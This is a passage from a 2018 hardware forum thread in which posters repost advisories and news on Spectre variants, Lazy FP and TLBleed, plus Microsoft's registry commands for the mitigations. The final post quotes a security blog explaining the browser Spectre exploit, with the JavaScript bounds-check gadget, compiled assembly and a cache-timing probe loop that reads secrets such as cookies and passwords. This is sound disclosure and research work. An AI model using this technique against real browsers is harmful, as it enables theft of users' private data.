    CPU hardware implementations—known as Spectre and Meltdown—are vulnerable to side-channel attacks. Meltdown is a bug that "melts" the security boundaries normally enforced by the hardware, affecting desktops, laptops, and cloud computers. Spectre is a flaw that an attacker can exploit to force a CPU to reveal its data.

    Variant 3a is a vulnerability that may allow an attacker with local access to speculatively read system parameters via side-channel analysis and obtain sensitive information.

    Variant 4 is a vulnerability that exploits “speculative bypass.” When exploited, Variant 4 could allow an attacker to read older memory values in a CPU’s stack or other memory locations. While implementation is complex, this side-channel vulnerability could allow less privileged code to:
    • Read arbitrary privileged data; and
    • Run older commands speculatively, resulting in cache allocations that could be used to exfiltrate data by standard side-channel methods.
    Corresponding CVEs for Side-Channel Variants 1, 2, 3, 3a, and 4 are found below:
    • Variant 1: Bounds Check Bypass – CVE-2017-5753
    • Variant 2: Branch Target Injection – CVE-2017-5715
    • Variant 3: Rogue Data Cache Load – CVE-2017-5754
    • Variant 3a: Rogue System Register Read – CVE-2018-3640
    • Variant 4: Speculative Store Bypass – CVE-2018-3639
    Impact
    Side-Channel Vulnerability Variants 3a and 4 may allow an attacker to obtain access to sensitive information on affected systems.

    Solution
    Mitigation

    NCCIC recommends users and administrators
    • Refer to their hardware and software vendors for patches or microcode,
    • Use a test environment to verify each patch before implementing, and
    • Ensure that performance is monitored for critical applications and services.
      • Consult with vendors and service providers to mitigate any degradation effects, if possible.
      • Consult with Cloud Service Providers to mitigate and resolve any impacts resulting from host operating system patching and mandatory rebooting, if applicable.
    The following table contains links to advisories and patches published in response to the vulnerabilities. This table will be updated as information becomes available.

    AMD May 21, 2018
    ARM May 21, 2018
    Microsoft May 21, 2018
    Redhat May 21, 2018

    References
    Google Project Zero Blog
    Revisions
    • May 21, 2018: Initial version"

    Google and Microsoft disclose new CPU flaw, and the fix can slow machines down
    New firmware updates are on the way

    By Tom Warren, May 21, 2018 5:28 pm
    https://www.theverge.com/platform/a...nerability-speculative-store-bypass-variant-4

    "Microsoft and Google are jointly disclosing a new CPU security vulnerability that’s similar to the Meltdown and Spectre flaws that were revealed earlier this year. Labelled Speculative Store Bypass (variant 4), the latest vulnerability is a similar exploit to Spectre and exploits speculative execution that modern CPUs use. Browsers like Safari, Edge, and Chrome were all patched for Meltdown earlier this year, and Intel says “these mitigations are also applicable to variant 4 and available for consumers to use today.”

    However, unlike Meltdown (and more similar to Spectre) this new vulnerability will also include firmware updates for CPUs that could affect performance. Intel has already delivered microcode updates for Speculative Store Bypass in beta form to OEMs, and the company expects them to be more broadly available in the coming weeks. The firmware updates will set the Speculative Store Bypass protection to off-by-default, ensuring that most people won’t see negative performance impacts.

    “If enabled, we’ve observed a performance impact of approximately 2-8 percent based on overall scores for benchmarks like SYSmark 2014 SE and SPEC integer rate on client 1 and server 2 test systems,” explains Leslie Culbertson, Intel’s security chief.

    As a result, end users (and particularly system administrators) will have to pick between security or optimal performance. The choice, like previous variants of Spectre, will come down to individual systems and servers, and the fact that this new variant appears to be less of a risk than the CPU flaws that were discovered earlier this year.

    Microsoft started offering up to $250,000 for bugs that are similar to the Meltdown and Spectre CPU flaws in March, and the company says it discovered this new bug back in November. “Microsoft previously discovered this variant and disclosed it to industry partners in November of 2017 as part of Coordinated Vulnerability Disclosure (CVD),” says a Microsoft spokesperson. Microsoft is now working with Intel and AMD to determine performance impacts on systems.

    “We are continuing to work with affected chip manufacturers and have already released defense-in-depth mitigations to address speculative execution vulnerabilities across our products and services,” says a Microsoft spokesperson. “We’re not aware of any instance of this vulnerability class affecting Windows or our cloud service infrastructure. We are committed to providing further mitigations to our customers as soon as they are available, and our standard policy for issues of low risk is to provide remediation via our Update Tuesday schedule.”

    Intel is already preparing its own CPU changes for the future. Intel is redesigning its processors to protect against attacks like Spectre or this new variant 4, and the company’s next-generation Xeon processors (Cascade Lake) will include new built-in hardware protections, alongside 8th generation Intel Core processors that ship in the second half of 2018."

    Speculative Store Buffer Bypass in 3 minutes
    Red Hat Videos
    Published on May 21, 2018
    Speculative Store Buffer Bypass is a security vulnerability that allows unauthorized users to steal sensitive information through websites. Similar to the Spectre and Meltdown threats in early 2018, it exploits speculative execution--a process most computers use to speed up routine tasks (to learn more about speculative execution, watch our previous video Spectre and Meltdown in 3 Minutes).
    This 3 minute video shows you how Speculative Store Buffer Bypass is different and what’s being done about it.
    Technical information about Speculative Store Buffer Bypass and how to protect your systems can be found at Red Hat's Customer Portal - https://red.ht/ssbd


    Addressing New Research for Side-Channel Analysis
    Details and Mitigation Information for Variant 4
    https://newsroom.intel.com/editorials/addressing-new-research-for-side-channel-analysis/

    INTEL-SA-00115
    Q2 2018 Speculative Execution Side Channel Update
    https://www.intel.com/content/www/u...m_medium=inline&_utm_content=lnk1140515439680
     
    Last edited: May 22, 2018
  27. 6.|THE|1|BOSS|.9

    6.|THE|1|BOSS|.9 Notebook Evangelist

    Reputations:
    915
    Messages:
    498
    Likes Received:
    970
    Trophy Points:
    106
    Another reason to wait for the new microcode release and give it a few weeks more to fix the new microcode bugs that they will create...

    With Intel there's always a problem...
     
    Riley Martin and hmscott like this.
  28. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    Hmmm, no news is good news? :)

    Nothing of note has been put out by the usual sources... maybe Intel / Microsoft are busy with more fixes before their next releases?
     
  29. Robbo99999

    Robbo99999 Notebook Prophet

    Reputations:
    4,346
    Messages:
    6,824
    Likes Received:
    6,112
    Trophy Points:
    681
    I have some news on this, Microsoft yesterday released a Cumulative Update that addresses numerous things as well as Spectre Variant 3 (CVE-2018-3639) (or is it 4, anyway it's the latest Speculative Store Bypass (SSB) related flaw that they found in May). Here is the detail:
    https://support.microsoft.com/en-gb/help/4284835/windows-10-update-kb4284835

    The most important thing to realise is that protection to SSB is not enabled by default after installing this update, instead it has to be enabled manually via registry editing! Microsoft believe the risk from this attack to be low, and that's I think at least one of the reasons why they've made it so difficult to apply the protection (registry editing). God knows what kind of performance impact this fix would have. Here's how to do the registry editing:
    https://support.microsoft.com/en-gb...-to-protect-against-the-speculative-execution

    Here's the bit on how to do the registry editing that I've copy & pasted from the above link - this kinda slipped in under the radar, perhaps it's because it might cause large performance issues (my speculation) combined with the perceived low risk of this attack: (Note: CVE-2018-3639 is the part to take note of below as that's the latest variant of Spectre attack found and the one that is not protected automatically by the update - the one that requires the registry editing).


    Applies to: Windows Server 2016 Version 1803 (Server Core), Windows Server 2016 Version 1709 (Server Core), Windows Server 2016, Windows Server 2008 R2 SP1

    • Enable mitigations around Speculative Store Bypass (CVE-2018-3639) together with mitigations around Spectre Variant 2 (CVE-2017-5715) and Meltdown (CVE-2017-5754) through the following registry settings (because they are not enabled by default).

      reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v FeatureSettingsOverride /t REG_DWORD /d 8 /f

      reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v FeatureSettingsOverrideMask /t REG_DWORD /d 3 /f


      Note These registry changes require administrative rights and a restart.
    • Disable mitigations around Speculative Store Bypass (CVE-2018-3639) together with mitigations around Spectre Variant 2 (CVE-2017-5715) and Meltdown (CVE-2017-5754) through the following registry settings.

      reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v FeatureSettingsOverride /t REG_DWORD /d 3 /f

      reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v FeatureSettingsOverrideMask /t REG_DWORD /d 3 /f


      Note These registry changes require administrative rights and a restart.
     
    Last edited: Jun 13, 2018
    KY_BULLET and hmscott like this.
  30. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    Another day, another Intel CPU security hole: Lazy State
    Intel has announced that there's yet another CPU security bug in its Core-based microprocessors.
    By Steven J. Vaughan-Nichols for Linux and Open Source | June 13, 2018 -- 23:10 GMT (16:10 PDT)
    https://www.zdnet.com/article/another-day-another-intel-cpu-security-hole-lazy-state/

    "Once upon a time, when we worried about security, we worried about our software. These days, it's our hardware, our CPUs, with problems like Meltdown and Spectre, which are out to get us. The latest Intel revelation, Lazy FP state restore, can theoretically pull data from your programs, including encryption software, from your computer regardless of your operating system.

    Like its forebears, this is a speculative execution vulnerability. In an interview, Red Hat Computer Architect Jon Masters explained: " It affects Intel designs similar to variant 3-a of the previous stuff, but it's NOT Meltdown." Still, "it allows the floating point registers to be leaked from another process, but alas that means the same registers as used for crypto, etc." Lazy State does not affect AMD processors.

    This vulnerability exists because modern CPUs include many registers (internal memory) that represent the state of each running application. Saving and restoring this state when switching from one application to another takes time. As a performance optimization, this may be done "lazily" (i.e., when needed) and that is where the problem hides.

    This vulnerability exploits "lazy state restore" by allowing an attacker to obtain information about the activity of other applications, including encryption operations. Thus, systems using Intel Core-based microprocessors, from Sandy Bridge on to today's newest processors, may allow a local process to infer data using lazy floating point state restore from another process through a speculative-execution side channel. So, in this latest vulnerability, one process can read the floating point registers of other processes being lazily restored.

    For some operating systems, the fix is already in. Red Hat Enterprise Linux (RHEL) 7 automatically defaults to (safe) "eager" floating point restore on all recent x86-64 microprocessors (approximately 2012 and later) implementing the " XSAVEOPT" extension. Therefore, most RHEL 7 users won't need to take any corrective action.

    Other operating systems believed to be safe are any Linux version using the 2016's Linux 4.9 or newer kernel. The Linux kernel developers are patching older kernels. Most versions of Windows, including Server 2016 and Windows 10. are believed to be safe.

    If you're still using Windows Server 2008, however, you will need a patch. The latest editions of OpenBSD and DragonflyBSD are immune, and there's a fix available for FreeBSD.

    The good news, according to Masters: "Impact is moderate because while it's important to address, it's hard to exploit and easy to fix."

    Better still, Masters said, "the fix will improve performance!"

    Unlike the previous CPU security bugs, mitigating it will not require microcode updates. In most cases, RHEL 7 customers will not need to take action. RHEL 5 and 6 users will need to patch their servers.

    This security problem was found by Julian Stecklina from Amazon Germany, Thomas Prescher from Cyberus Technology, and Zdenek Sojka from SYSGO AG.

    So, while not a serious problem, it is a real one. If your system isn't immune, patch it as soon as possible."

    "Lazy FP state restore" by Intel Corporation, originally published on 13 June 2018:
    https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00145.html

    "Intel LazyFP vulnerability: Exploiting lazy FPU state switching" by Thomas Prescher, Julian Stecklina, and Jacek Galowicz, published on 6 June 2018:
    https://blog.cyberus-technology.de/posts/2018-06-06-intel-lazyfp-vulnerability.html

    Description speculative register leakage from lazy FPU context switching
    ** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3665
    https://security-tracker.debian.org/tracker/CVE-2018-3665

    https://www.reddit.com/r/intel/comments/8r1daj/another_day_another_intel_cpu_security_hole_lazy/
     
    Last edited: Jun 20, 2018
    Robbo99999 likes this.
  31. Robbo99999

    Robbo99999 Notebook Prophet

    Reputations:
    4,346
    Messages:
    6,824
    Likes Received:
    6,112
    Trophy Points:
    681
    Ok, that's not so bad then as they say:

    "Most versions of Windows, including Server 2016 and Windows 10. are believed to be safe."
    "Better still, Masters said, "the fix will improve performance!""

    Kinda crazy now with all the CPU hardware exploitable security bugs coming out!
     
    hmscott likes this.
  32. senso

    senso Notebook Deity

    Reputations:
    560
    Messages:
    1,645
    Likes Received:
    788
    Trophy Points:
    131
    The low hanging fruit as already been reaped(exploited), so, people will start to dig deeper to find flaws/exploits.

    Given that this is exploitable since Sandy Bridge, it might be already been exploited in the past(wouldn't doubt that).
     
    hmscott likes this.
  33. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    OpenBSD disables Intel’s hyper-threading over CPU data leak fears
    Cites risk of different security domains on one core as others hint at another bug drop

    By Simon Sharwood, APAC Editor 20 Jun 2018 at 07:32
    https://www.theregister.co.uk/2018/06/20/openbsd_disables_intels_hyperthreading/

    "OpenBSD has disabled Intel’s hyper-threading technology, citing security concerns – seemingly, Spectre-style concerns.

    As detailed in this mailing list post, OpenBSD maintainer Mark Kettenis wrote that “SMT (Simultaneous Multi Threading) implementations typically share TLBs and L1 caches between threads.

    “This can make cache timing attacks a lot easier and we strongly suspect that this will make several Spectre-class bugs exploitable.”

    So OpenBSD has decided to disable Intel CPU hyper-threading, with “a new hw.smt sysctl,” in order to avoid data potentially leaking from applications to other software via Spectre-like processor flaws.

    “For now this only works on Intel CPUs when running OpenBSD/amd64,” Kettenis wrote. “But we're planning to extend this feature to CPUs from other vendors and other hardware architectures.”

    Insane in the domain
    There’s not much more by way of explanation for the decision in Kettenis’ post, other than the observation that: “We really should not run different security domains on different processor threads of the same core.”

    There is, however, a further hint about the reason in this post from OpenBSD chap Philip Guenther, who committed a change to “clear the GPRs when entering the kernel from userspace so that user-controlled values can't take part in speculative execution in the kernel down paths that end up 'not taken' but that may cause user-visible effects (cache, etc).”

    That commit was accompanied by a request to disable Intel hyper-threading.

    We've also spotted this Seclists message mentioning OpenBSD's decision, and hinting a related disclosure coming on June 27. And this talk at Black Hat in August that promises to reveal how miscreants can extract encryption keys from application memory via hyper-threading and TLB data leaks.

    Specifically, that presentation, by Ben Gras, will cover a technique dubbed TLBleed that exploits hyper-threading to swipe sensitive data:

    Our TLBleed exploit successfully leaks a 256-bit EdDSA key from libgcrypt (used in e.g. GPG) with a 98% success rate after just a single observation of a signing operation on a co-resident hyper-thread and just 17 seconds of analysis time.

    We’ve asked Kettenis to offer more information, and Intel to comment, but neither had been in touch at the time of writing.

    Performance
    Kettenis’ post suggest disabling hyper-threading won’t be a big deal because “SMT doesn't necessarily have a positive effect on performance; it highly depends on the workload. In all likelihood it will actually slow down most workloads if you have a CPU with more than two cores.”

    He’s not wrong: unless code is written with hyper-threading in mind, the performance benefit isn’t enormous, and not a lot of code specifically takes advantage of the feature. Hyper-treading works by allowing one CPU core to run multiple threads at once, as opposed to one thread per core.

    Intel, however, markets hyper-threading as a distinct virtue: its CPU spec sheets always mention core and thread count.

    Hints of further Spectre-like security worries will therefore be most unwelcome to Chipzilla. The OpenBSD community was miffed by the steps taken to disclose Meltdown and Spectre design flaws – effectively freezing out a chunk of the BSD world from private collaborations on mitigations – and called for such revelations to be handled differently in future."

    Comments
     
  34. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    Oracle gets busy with Lazy FPU fix, adds more CPU Spectre-protectors
    Oracle Linux and VM get their innoculations

    By Richard Chirgwin 26 Jun 2018 at 04:58
    https://www.theregister.co.uk/2018/06/26/oracle_patches_lazy_fpu_and_spectre/

    "Oracle has released fixes for Spectre v3a, Spectre v4, and the “Lazy FPU” vulnerability.

    The two Spectre patches cover CVE-2018-3640 and CVE-2018-3640.

    As Oracle's director of security assurance Eric Maurice explained, the patches apply to both Oracle Linux and Oracle VM and the associated Intel microcode.

    The company was also busy on Friday with fixes for admins with systems that use its Ksplice no-reboot patches.

    The one everyone was waiting for patches Oracle Linux RHCK 7 against the Intel Lazy FPU issue, CVE-2018-3665. Oracle Linux 6 and Oracle Linux 7 got their Lazy FPU patches in a separate announcement.

    There's also a patch for Oracle Linux 6 and 7, to fix an IPSec denial-of-service, CVE-2017-16939.

    The company's also announced improved fixes for the Spectre v2 mitigations (Intel and AMD), again for Oracle Linux 6 and 7."

    Comments
     
  35. Papusan

    Papusan Jokebook's Sucks! Dont waste your $$$ on Filthy

    Reputations:
    42,701
    Messages:
    29,839
    Likes Received:
    59,614
    Trophy Points:
    931
    Intel Releases "Spectre" Hardening Microcode Updates for "Ivy Bridge" thru "Westmere" Architectures
    Today, 10:49
    Intel today released the latest round of CPU micro-code updates for its processors, which expand support for Intel processor microarchitectures ranging all the way back to 1st generation Core "Westmere," and "Lynnfield," and including "Sandy Bridge" and "Ivy Bridge" along the way, at various stages of roll-out (beta, pre-production, and production). This update probably features hardening against "Spectre" variant 4, and perhaps even RSRR (rogue system register read) variant 3A, chronicled in CVE-2018-3640.

    https://www.intel.com/content/dam/www/public/us/en/documents/sa00115-microcode-update-guidance.pdf
     
    Last edited: Jul 2, 2018
    Robbo99999, hmscott and Vasudev like this.
  36. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    Researchers find a new side-channel attack against a performance-enhancing feature in Intel CPUs - Intel won't fix it.
    By Liam Tung | June 26, 2018 -- 12:39 GMT (05:39 PDT)
    https://www.zdnet.com/article/tlble...aw-to-surface-but-dont-expect-it-to-be-fixed/

    "Intel won't be patching a newly revealed side-channel vulnerability in its CPUs, even though it could be used to leak encryption keys for signing a message.

    The flaw, which will be presented at the Black Hat USA 2018 conference, is why OpenBSD recently decided to disable hyperthreading on Intel CPUs.

    The OpenBSD project's chief, Theo de Raadt, said he dropped support for the feature after viewing the paper from researchers at the Systems and Network Security Group at Vrije Universiteit Amsterdam.

    The Register reported on Friday that the paper details an attack on Intel's Hyper-Threading technology to reliably extract a 256-bit EdDSA encryption key used for cryptographically signing data.

    The researchers argue that their attack, dubbed TLBleed, is able to leak the keys from another program in no less than 98 percent of tests, depending on the Intel CPU architecture. The leak happens when the key is being used to sign data.

    As the attack relies on Intel's Hyper-Threading, this side-channel flaw differs from Spectre and Meltdown, which exploit speculative execution. Intel's Hyper-Threading technology is available on Intel Core, Core vPro, Core M, and Xeon processors.

    In a publicly available summary, the researchers note that the side-channel attack leaks information from the Translation Lookaside Buffer (TLB), a special type of memory cache that stores recent translations that map virtual to physical memory addresses.

    If Hyper-Threading is enabled, a single core can execute multiple threads simultaneously for performance gains, but that core also shares the same memory caches and TLB.

    The attack makes it possible for one thread to see how another accesses the CPU through TLB and use this information to work out secrets from another program stored in shared RAM.

    "Our TLBleed exploit successfully leaks a 256-bit EdDSA key from cryptographic signing code, which would be safe from cache attacks with cache isolation turned on, but would no longer be safe with TLBleed. We achieve a 98 percent success rate after just a single observation of signing operation on a co-resident hyperthread and just 17 seconds of analysis time."

    The researchers say their attack is able to extract this key while a program is signing a message with the libgcrypt cryptographic library.

    However, to exploit the flaw, an attacker would already need to have malware running on a target system or be logged in. But the vulnerability could pose a threat to virtual machines on a public cloud, which could be exploited from another instance on the same machine.

    Intel appears unlikely to patch the bug and did not award the researchers payment under its side-channel bug bounty. The company has said its cache attack protections are sufficient to block TLBleed attacks.

    However, Ban Gras, one of the researchers behind TLBleed, said in a tweet that the attack shows that cache side-channel protections, such as cash isolation, are not enough.

    Intel told ZDNet that it had been made aware of the Vrije Universiteit research and TLBleed, which it stressed is unrelated to Spectre or Meltdown.

    "Research on side-channel analysis methods often focuses on manipulating and measuring the characteristics (eg, timing) of shared hardware resources. These measurements can potentially allow researchers to extract information about the software and related data," Intel said in a statement.

    "Software or software libraries such as Intel Integrated Performance Primitives Cryptography version U3.1, written to ensure constant execution time and data independent cache traces, should be immune to TLBleed."
    PREVIOUS AND RELATED COVERAGE
    Another day, another Intel CPU security hole: Lazy State

    Intel has announced that there's yet another CPU security bug in its Core-based microprocessors.

    Meltdown-Spectre: Oracle's critical patch update offers fixes against CPU attacks

    The enterprise software giant is working on Spectre fixes for Solaris on Sparc V9.

    New Spectre variant 4: Our patches cause up to 8% performance hit, warns Intel

    Intel's Spectre variant 4 patch will be off by default, but users who turn it on are likely to see slower performance.

    Spectre chip security vulnerability strikes again; patches incoming

    A Google developer discovered a new way that a 'Spectre'-style check can be used to attack any computer running any operating system.

    Are 8 new 'Spectre-class' flaws in Intel CPUs about to be exposed?

    Reports are emerging of eight new 'Spectre-class' security CPU vulnerabilities.

    Ex-Intel security expert: This new Spectre attack can even reveal firmware secrets

    A new variant of Spectre can expose the contents of memory that normally can't be accessed by the OS kernel.

    Microsoft to Windows users: Here are new critical Intel security updates for Spectre v2

    Microsoft releases new Windows updates to address the Spectre variant 2 flaw affecting Intel chips.

    Windows 10 on AMD? This new update plus Microsoft's patch block Spectre attacks

    AMD has released microcode updates for Spectre variant 2 that require Microsoft's latest Windows 10 patch.

    Intel: We now won't ever patch Spectre variant 2 flaw in these chips

    A handful of CPU families that Intel was due to patch will now forever remain vulnerable.

    Windows 7 Meltdown patch opens worse vulnerability: Install March updates now

    Microsoft's Meltdown fix opened a gaping hole in Windows 7 security, warns researcher.

    Intel's new Spectre fix: Skylake, Kaby Lake, Coffee Lake chips get stable microcode

    Intel makes progress on reissuing stable microcode updates against the Spectre attack.

    Got an old PC? Find out whether you will get Intel's latest Spectre patch (TechRepublic)

    Intel has listed a range of CPUs released between 2007 and 2011 that will not receive a firmware update to help guard against Spectre-related exploits.

    Class-action suits over Intel Spectre, Meltdown flaws surge ( CNET)

    Since the beginning of 2018, the number of cases has risen from three to 32.
     
    Last edited: Jul 2, 2018
    Vasudev likes this.
  37. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    Rowhammer returns, Spectre fix unfixed, Wireguard makes a new friend, and much more
    And NSA can't stop slurping your phone records
    By Shaun Nichols in San Francisco 30 Jun 2018 at 07:01
    https://www.theregister.co.uk/2018/06/30/security_roundup/

    "...
    Spectre patches may need a patch
    When is a fix not a fix? When it's an attempt patch up the Spectre vulnerability, apparently.

    Researchers Noam Hadad and Jonathan Afek of Aleph Security said this week that they had devised a way to work around some of the measures browser vendors have used to mitigate the vulnerability.

    It turns out the data-timing tricks browsers use to help prevent exploits can be overcome, provided the attackers don't mind a little performance hit.

    "In our research we were able to overcome the cache access timing specific mitigations. Although these mitigations cause a serious slowdown in our POC, they are not effective in preventing this attack," the duo write.

    "These mitigations also have some negative performance implications and are hurting the functionality of some legitimate JavaScript web application use-cases."

    Overcoming (some) Spectre browser mitigations

    By Noam Hadad & Jonathan Afek (@JonathanAfek)
    June 26, 2018
    https://alephsecurity.com/2018/06/26/spectre-browser-query-cache/
    Spectre is a CPU vulnerability which allows an attacker in certain scenarios to read “secret” data on the victim’s machine. The vulnerability was first published by Google Project Zero and by various researchers.

    One of the variants of Spectre (variant 1) is relevant in browsers executing malicious Javascript code in JIT engines. When a victim visits an attacker controlled website and malicious Javascript is served on the site, it can potentially read the all the mapped memory space of the browser process. To exploit this vulnerability the attacker code has to access “secret” memory in a speculatively executed Javascript JIT code that would have been otherwise inaccessible as it contains secret data. In a simple Javascript Spectre exploit this would be out-of-bounds index access of a Javascript array. Still, in the speculative branch, some memory (Javascript variable) has to be accessed and therefore be inserted into the CPU cache based on the “secret” value - different “secret” values will cause different variables to be inserted into the CPU cache. Then, outside the speculative branch we measure the access time to the different Javascript variables to query whether they are CPU cached or not. If we can understand which of them was in the CPU cache, we can conclude what the “secret” value was. In a browser environment, the “secret” values in the same process memory can be HttpOnly cookies, cookies of other origins, saved passwords or any other browser “secret” data or per-domain “secret” data.

    Because of this vulnerability discovery, browser vendors implemented different mitigations for this vulnerability. Some of them are meant to disable known methods for querying CPU cache state of memory slots (Javascript variables). These mitigations include the resolution reduction of the Javascript timer performance.now() and adding jitter to its results.

    In our research we were able to overcome the cache access timing specific mitigations. Altough these mitigations cause a serious slowdown in our POC, they are not effective in preventing this attack. These mitigations also have some negative performance implications and are hurting the functionality of some legitimate Javascript web application use-cases.

    In this blog post we will first breifly talk about CPU caches in general and how they work. Then, we will briefly discuss browser Javascript JIT engines with focus on V8 and Chrome/Chromium. Next, we will show how to implement the original exploit before any Spectre specific mitigations. After that, we will introduce the known implemented Spectre mitigations in the different browsers. Next, we will show how we beat the timing specific mitigations step by step. Lastly, we will examine the implications of this research and possible further research to be done.

    Here is the POC code.

    CPU Cache
    In this section we will focus only on the LLC L3 CPU cache for simplicity. This is good for understanding the concepts of the POC presented in this blog post. The major timing difference we expect to see in memory access time is between RAM fetches and CPU cached memory (any level of cache). Any memory that is CPU cached in any level cache is expected to also reside in the L3 LLC cache. We assume 64-bit browser processes with 48-bit addresses. We assume that the CPU uses 4KB pages and that each virtual memory address is inside a virtual memory page which is mapped to a physical memory page. This means that the lower 12 bits of the virtual address of each memory address are the same as the lower 12 bits of the physical address of that referenced memory. We assume that CPU cache is split into X different cache sets and that each of them holds an LRU list of Y cache-lines each of them is of size 64 bytes (512 bits). This means the lower 6 bits of each memory address is the offset inside the cache-line of the address.

    Physical address: [b18-b47: TAG, b6-b17: Cache set index, b0-b5: Cache line offset]
    |
    ---------------------------------------------------------...
    | | |
    | | |
    - Cache set0 - - Cache set1 - - Cache set2 -
    ---- LRU ----- ----- LRU ---- ----- LRU ----
    |Cache line 0| |Cache line 0| |Cache line 0|
    | TAG : DATA | | TAG : DATA | | TAG : DATA |
    -------------- -------------- --------------
    |Cache line 1| |Cache line 1| |Cache line 1|
    | TAG : DATA | | TAG : DATA | | TAG : DATA |
    -------------- -------------- --------------
    |Cache line 2| |Cache line 2| |Cache line 2|
    | TAG : DATA | | TAG : DATA | | TAG : DATA |
    -------------- -------------- --------------
    . . .
    . . .
    . . .

    In the above graph you can see that for each physical address, the middle bits (6-17) determine the cache set the address belongs to. Whenever data at a certain address is accessed, the CPU needs to first determine whether the data is in the CPU cache or not. In order to do that the address is examined. By examining the cache set index bits (6-17, in our example) the relevant cache set is determined. Each combination of cache set index bits is mapped exclusively to a specific cache set. Each cache set is an LRU list of cache lines each holding a TAG and 512 bits of data. The TAG bits of the given address are then compared against all the TAGs currently in the cache set. If there is a match then the data in the cache line is returned to the CPU and the cache line is marked as the most recently used in the set. If there is no match then the least recently used cache line is removed from the set and the data is fetched from the RAM into a new cache line in the set and to the CPU.

    The above bit ranges in the address are assumed in the POC, and we will still refer to it later in the post but it works well with even different bit ranges used for the different roles. What we do rely on is that bits 10 and 11 are part of the cache set index bits.

    For more information on how CPU caches work please refer to this presentation and to Wikipedia.

    Javascript engines and V8
    Before getting to exploiting Spectre in a browser environment we first need to understand how Javascript engines and JIT engines work. For our research we examined V8 specifically which is Chrome’s open source Javascript engine.

    V8 first compiles each Javascript function it encounters into bytecode and executes the bytecode with an interpreter. Then each time the function executes the function parameter types are recorded into the function’s feedback vector. After the function executes many times then the TurboFan JIT compiler kicks in and compiles the function code into CPU specific assembly code optimized for the input parameter types recorded in the feedback vector. The compiled function first checks that the input types are indeed of the assumed types that were recorded in the feedback vector. If not, the execution falls back to bytecode execution. If there is a match then the function continues. Each Javascript object representation holds a pointer as the first member of the object to the Hidden Class of the specific object type which defines the object’s layout. The type comparison is done by comparing this pointer to a known value for the classes recorded in the feedback vector.

    Let’s take the following Javascript code for example (from the original Spectre papaer):

    if (index < simpleByteArray.length) {
    index = simpleByteArray[index | 0];
    index = (((index * TABLE1_STRIDE)|0) & (TABLE1_BYTES-1))|0;
    localJunk ^= probeTable[index|0]|0;
    }

    Which was compiled with TurboFan to:

    1 cmpl r15,[rbp-0xe0] ;Compare index (r15) against simpleByteArray.length
    2 jnc 0x24dd099bb870 ;If index >= length, branch to instruction after movq below
    3 REX.W leaq rsi,[r12+rdx*1] ;Set rsi=r12+rdx=addr of first byte in simpleByteArray
    4 movzxbl rsi,[rsi+r15*1] ;Read byte from address rsi+r15 (= base address+index)
    5 shll rsi,12 ;Multiply rsi by 4096 by shifting left 12 bits}\%\
    6 andl rsi,0x1ffffff ;AND reassures JIT that next operation is in-bounds
    7 movzxbl rsi,[rsi+r8*1] ;Read from probeTable
    8 xorl rsi,rdi ;XOR the read result onto localJunk
    9 REX.W movq rdi,rsi ;Copy localJunk into rdi

    In this case, for a successful attack, [rbp-0xe0] - (simpleByteArray.length) should be not in the CPU cache so that the condition of the conditional jump at line 2 could not be determined right away and the CPU would have to guess the result (speculative execution). The attack code was designed to execute the code above in a function and execute the function many times with an index which is in-bounds of the array. That way, when the code passes a large out-of-bounds index, the speculative execution guesses it is actually in-bounds. At line 4, the code reads an out-of-bounds value from simpleByteArray[index] into an index inside the speculatively falsely executed branch, and then in that same branch it reads from probeTable[index]. After a while the CPU fetches simpleByteArray.length from RAM, understands it falsely executed the branch because index is out-of-bounds and doesn’t commit any of the operations performed in the branch. One effect of the branch execution that the CPU can’t reverse is the CPU cache state. If probeTable was completely out of the CPU cache beforehand, after executing this function only the slot probeTable[index] should be in the CPU cache. Using the code below, we can query the cache state of all the probeTable slots and understand which one of them was cached and therefore conclude what index was inside the speculatively executed branch which is an out-of-bounds memory location from simpleByteArray.

    for (var i = 0; i < PROBE_TABLE_SIZE; i += TABLE1_STRIDE) {
    var before = performance.now();
    tmp += probeTable; //add to a global var
    var after = performance.now();
    if (after - before < CACHE_HIT_THRESHOLD) {
    return i; //This is the index from the speculative execution before
    }
    }

    Using different out-of-bounds indices iteratively, the whole browser process memory could be read and the attacker could get sensitive information saved in that process, such as cookies for other domains, saved passwords and any other user data saved in the process memory.

    It should be noted that other techniques for timing the probeTable access existed before Browsers implemented the Spectre mitigations, some of them more accurate than using performance.now(). Here is a good overview of such techniques.

    For a full implementation of the Javascript Spectre attack for unpatched browsers please see here.

    Spectre browser mitigations
    All the major browser vendors implemented Spectre mitigations to prevent this attack.

    V8 mitigations relevant for Chrome and Chromium.

    Chrome mitigations relevant for Chrome.

    Chromium mitigations relevant for Chromium.

    Firefox mitigations relevant for Firefox.

    Microsoft mitigations relevant for Internet Explorer and Microsoft Edge.

    Webkit mitigations relevant for Safari.

    The main relevant mitigations are:
